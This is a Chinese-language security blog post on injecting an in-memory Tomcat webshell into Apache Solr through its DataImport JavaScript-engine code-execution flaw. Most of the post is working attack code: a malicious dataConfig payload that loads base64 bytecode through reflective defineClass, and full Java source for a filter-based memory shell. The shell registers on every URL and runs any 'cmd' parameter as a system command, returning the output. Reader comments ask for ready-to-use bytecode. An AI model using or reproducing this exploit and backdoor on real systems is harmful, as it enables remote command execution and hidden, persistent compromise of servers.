Apache Solr DataImport 内存马注入

0x00 前言

在上个月初分析过这个漏洞,这个漏洞是通过 java 内置的 JS 引擎导致的命令执行,当时就觉得这个地方可以有更加深的利用,并简单的提了下回显,因为代码执行 => 内存马注入(但是我太懒了),正好这两天有师傅问起来所以今天就来研究一下如何通过这个漏洞点注入内存马

具体环境搭建&漏洞分析我就不多介绍了,因为在前面有详细的分析过

文章链接:http://wjlshare.com/archives/1617

0x01 内存马注入

由于我本地环境是在 Tomcat 上搭建的 Solr ,所以本文主要以 Tomcat 内存马来做演示

内存马注入通常有两种常见的手法

  1. Classloader 字节码加载
  2. JNDI 注入

通常情况下最优解是 Classloader 加载字节码,因为 JNDI 注入会存在 JDK 限制以及 JDK 版本限制的问题,所以我这边只介绍字节码加载,JNDI注入师傅们可以自己去测试一下

字节码加载

漏洞本身是 JS 引擎造成的,可以看到这里是代码执行,所以可以进行内存马的注入

image-20211112163605209

环境:Solr 4.4 + Tomcat 6

针对 Java 中 Js 引擎的对应文章:https://xz.aliyun.com/t/9715

内存马注入我的思路就是利用 Classloader 来进行字节码加载,由于 Js 中调用 Java 有一些坑,不过后续都解决了

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            try{
                var classBytes = null;
              var c = java.lang.Thread.currentThread().getContextClassLoader();
                            var code = "base64 后的字节码";
              var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
                        classBytes = clazz.getMethod("decodeBuffer",java.lang.String.class).invoke(clazz.newInstance(), code);
              var byteArray = Java.type("byte[]");
                        var int = Java.type("int");
              var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",byteArray.class,int.class,int.class);
                        defineClassMethod.setAccessible(true);
                        var cc = defineClassMethod.invoke(c,classBytes,0,classBytes.length);
              var dd = cc.newInstance();
                            row.put("title",dd);
            }catch (e){
              row.put("title",e.message);
            }
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://localhost:8088/demo.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
 </document>
</dataConfig>

直接打

image-20211113152522298

效果如下

image-20211113152623455

Tomcat Filter 内存马:

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.List;
import java.util.Map;

public class TomcatAllVerMemShell implements Filter {

    static  {
        Thread[] threads = new Thread[0];
        try {
            threads = (Thread[]) getAttr(Thread.currentThread().getThreadGroup(), "threads");
        } catch (Exception e){}

        ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
        boolean done = false;
        boolean istomcat6 = true;
        for (int i = 0; i < threads.length; i++) {
            try {
                if (done) {
                    break;
                }
                Object processorsObj = (Object) getAttr(getAttr(getAttr(getAttr(getAttr(threads[i], "target"), "this$0"), "handler"), "global"), "processors");
                if (processorsObj != null) {
                    List processors = (List) processorsObj;
                    for (int i1 = 0; i1 < processors.size(); i1++) {
                        if (done) {
                            break;
                        }
                        Object context = getAttr(getAttr(getAttr(getAttr(processors.get(i1), "req"), "notes"), "1"), "context");
                        if (context == null) {
                            continue;
                        }

                        final Class<?> contextClazz = context.getClass();
                        String suffix = "org.apache.tomcat.util.descriptor.web.";
                        if (istomcat6) {
                            suffix = "org.apache.catalina.deploy.";
                        }
                        Class<?> filterDefFieldClazz = null;
                        try {
                            filterDefFieldClazz = clzLoader.loadClass(suffix + "FilterDef");
                        } catch (Exception e) {
                            istomcat6 = true;
                            suffix = "org.apache.catalina.deploy.";
                            filterDefFieldClazz = clzLoader.loadClass(suffix + "FilterDef");
                        }
                        Object filterDef = filterDefFieldClazz.newInstance();
                        // Bytes Code
                        Object filter = new TomcatAllVerMemShell();
                        setFieldValue(filterDef, "filterName", filter.getClass().getSimpleName());
                        setFieldValue(filterDef, "filterClass", filter.getClass().getName());
                        if (!istomcat6) {
                            setFieldValue(filterDef, "filter", filter);
                        }
                        Method addFilterDefMethod = contextClazz.getDeclaredMethod("addFilterDef", filterDefFieldClazz);
                        Method filterStartMethod = contextClazz.getDeclaredMethod("filterStart");
                        addFilterDefMethod.setAccessible(true);
                        filterStartMethod.setAccessible(true);
                        addFilterDefMethod.invoke(context, filterDef);
                        filterStartMethod.invoke(context);
                        Class filterMapsFiledClazz = clzLoader.loadClass(suffix + "FilterMap");
                        Object filterMap = filterMapsFiledClazz.newInstance();
                        Method setDispatcheraddURLPattern = filterMapsFiledClazz.getDeclaredMethod("setDispatcher", String.class);
                        Method addURLPatternMethod = filterMapsFiledClazz.getDeclaredMethod("addURLPattern", String.class);
                        setDispatcheraddURLPattern.setAccessible(true);
                        addURLPatternMethod.setAccessible(true);
                        setFieldValue(filterMap, "filterName", filter.getClass().getSimpleName());
                        if (!istomcat6) {
                            Class<?> dispatcherTypeClazz = clzLoader.loadClass("javax.servlet.DispatcherType");
                            Object dispatcherType = dispatcherTypeClazz.newInstance();
                            Field REQUESTTypeFiled = dispatcherTypeClazz.getDeclaredField("REQUEST");
                            REQUESTTypeFiled.setAccessible(true);
                            String REQUESTType = (String) REQUESTTypeFiled.get(dispatcherType);
                            setDispatcheraddURLPattern.invoke(filterMap, REQUESTType);
                        } else {
                            Class<?> applicationFilterConfigClazz = clzLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig");
                            Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClazz.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
                            applicationFilterConfigConstructor.setAccessible(true);
                            Object applicationConfig = applicationFilterConfigConstructor.newInstance(context, filterDef);
                            setFieldValue(applicationConfig, "filter", filter);

                            Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
                            filterConfigs.put(filter.getClass().getSimpleName(), applicationConfig);
                            setFieldValue(context, "filterConfigs", filterConfigs);
                        }

                        addURLPatternMethod.invoke(filterMap, "/*");
                        Object[] filterMaps = (Object[]) getFieldValue(context, "filterMaps");
                        Object[] replaceMaps = (Object[]) Array.newInstance(filterMapsFiledClazz, filterMaps.length + 1);
                        for (int i2 = filterMaps.length; i2 > 0; i2--) {
                            replaceMaps[i2] = filterMaps[i2 - 1];
                        }
                        replaceMaps[0] = filterMap;
                        setFieldValue(context, "filterMaps", filterMaps.getClass().cast(replaceMaps));
                        done = true;
                        break;
                    }
                }
            } catch (Exception e) {
            }
        }

    }

    public static void setAccessible(AccessibleObject member) {
        member.setAccessible(true);
    }

    public static Object getAttr(Object obj, String FieldName) throws Exception {
        if (obj == null) {
            return null;
        }
        if (List.class.isAssignableFrom(obj.getClass())) {
            try {
                int index = Integer.parseInt(FieldName);
                return ((List) obj).get(index);
            } catch (Exception e) {
            }
        }
        if (Object[].class.isAssignableFrom(obj.getClass())) {
            try {
                int index = Integer.parseInt(FieldName);
                return ((Object[]) obj)[index];
            } catch (Exception e) {
            }
        }
        Class clz = obj.getClass();
        java.util.ArrayList fields;
        for (fields = new java.util.ArrayList(); clz != null; clz = clz.getSuperclass()) {
            Field[] declaredFields = clz.getDeclaredFields();
            for (int i = 0; i < declaredFields.length; i++) {
                fields.add(declaredFields[i]);
            }
        }
        java.lang.reflect.Field f;
        java.util.Iterator var4 = fields.iterator();
        do {
            if (!var4.hasNext()) {
                return null;
            }
            f = (java.lang.reflect.Field) var4.next();
            f.setAccessible(true);
        } while (!f.getName().equals(FieldName));
        return f.get(obj);
    }

    public static Object getFieldValue(Object obj,String fieldName) throws Exception{
        java.lang.reflect.Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }
    // object ,method ,value
    public static void  setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        java.lang.reflect.Field f0 = null;
        Class clas = obj.getClass();
        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            f0.set(obj, value);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

0x02 问题

注入之后发现在 corename/data/index 下会生成一个 write.lock

image-20211113152742027

会导致再次启动的时候会报错,不过把这个lock文件删除就可以了

image-20211113152800328

评论

  1. 天下大木头小弟
    1 年前
    2022-10-31 11:25:42

    我把文章里面贴的Tomcat Filter 内存马 base64之后,没有打成功,能否贴一下打成功的内存马源码或者字节码

    • KpLi0rn 博主
      1 年前
      2023-1-27 16:08:12

      是测试环境还是实战环境

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇